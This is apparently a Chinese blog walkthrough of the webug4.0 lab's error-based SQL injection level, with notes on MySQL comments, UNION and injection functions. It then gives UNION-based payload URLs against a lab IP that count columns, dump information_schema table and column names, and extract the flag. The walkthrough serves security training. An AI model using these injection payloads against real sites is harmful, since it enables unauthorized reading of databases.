webug4.0-显错注入

0x01 Mysql数据相关知识

1. mysql三种注释风格:

单行注释:sql语句后使用字符#或者--进行注释

多行注释:使用/* */将sql语句圈起来注释

内联注释:内联注释是MySQL数据库为了保持与其他数据库兼容,特意添加的新功能。把Mysql特有的语句放在/*! */中

2.Union联合查询:

1.Union操作符用于拼接两个或者多select查询语句

2.Union中的每个查询必须拥有相同的列数

3.Order by语句:

1.Order by 语句用于根据指定的列对结果集进行排序

2.Order by 语句默认按照升序对记录进行排序

4.Sql注入常用的函数:

1.

user()当前用户名
current_user()当前用户名(权限)
database()当前数据库

version()

数据库版本
@@datadir()数据库路径
load_file()读文件
into outfile() into dumpfile写文件
@@basedir()mysql安装路径

0x02 漏洞利用

 发现注入点之前先查看一下自己服务器上的phpstudy版本是不是下面这个版本:如果不是请切换,如若不然不会报错。

1.打开靶场,发现url参数id为1,尝试修改为2 发现回显hello,修改为3 发现正常无回显 我们好像意识到了什么。。。

2.探测是否为注入点,经典加  '  进行探测

 发现报错

3.简单构造语句

 发现空格没被过滤,但是#号被过滤了

4.试用#的url编码%23尝试继续注入

发现没有报错 问题解决 我们继续

5.通过union判断表中列数(也可通过order by进行探测 )

发现报错 继续探测二列

正常 并且回显2 三列不用探测就知道他是会报错的

6.使用函数替换数字1或2

发现回显

把user()改为database() 发现数据库webug,别的函数自行按照需要替换即可

7.查看webug中数据表(使用上一步探测出来的数据库webug+mysql自带的信息数据表):

http://192.168.72.136/control/sqlinject/manifest_error.php?id=3'union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23

 发现目标flag表

8.查看flag数据表中的数据段

http://192.168.72.136/control/sqlinject/manifest_error.php?id=3' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23

 发现目标flag段

 9.查看数据段内容

http://192.168.72.136/control/sqlinject/manifest_error.php?id=3' union select 1,flag from flag %23

发现flag值

10.提交flag

0x03 总结

                                                               比较简单,没有什么过滤和waf啥的,傻瓜式提交即可

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值